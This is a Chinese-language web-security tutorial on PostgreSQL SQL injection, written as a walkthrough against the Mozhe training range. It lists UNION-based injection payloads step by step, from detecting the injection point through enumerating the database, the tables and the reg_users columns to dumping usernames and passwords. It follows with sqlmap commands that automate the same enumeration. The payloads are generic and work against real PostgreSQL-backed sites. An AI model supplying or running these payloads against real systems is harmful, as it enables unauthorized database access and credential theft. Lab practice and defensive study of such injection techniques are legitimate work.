web安全|渗透测试|网络安全 超详细 PostgreSQL 注入
PostgreSQL 注入
postgreSQL简述
和mysql 的注入语法类似的
不同点:
查询当前数据库使用:current_database()函数
在pg_stat_user_tables库查询表名,使用relname关键字
limit使用语法为limit 1 offset 0
墨者靶场SQL手工注入漏洞测试
第一步:测试是否有注入点
'
and 1=1
and 1=2
(加单引号无回显,and 1=1 正常回显,and 1=2 无法正常显示,存在注入点)
第二步:判断回显字段
order by 4
order by 5
(order by 4正常回显,order by 5无法回显,回显字段为4)
第三步:测试类型
and 1=2 union select null,null,null,null
and 1=2 union select null,'null','null',null
(可以测试出为字符型)
第四步:获取数据库
and 1=2 union select null,'null',current_database(),null
第五步: 获取表名
and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1
第六步:获取表下字段
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name ='reg_users' limit 1 offset 0
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 1
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 2
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 3
'
第七步:获取数据
and 1=2 union select null,name,password,null from public.reg_users --
第八步:解密登录
工具注入 (sqlmap)
第一步:获取当前数据库
sqlmap -u 'URL' --current-db
第二步:获取指定数据库下表名
sqlmap -u 'URL' --tables -D"public"
第三步:获取指定表下字段名
sqlmap -u 'URL' --columns -T "reg_users" -D "public"
第四步:获取数据
- 点赞
- 收藏
- 关注作者
评论(0)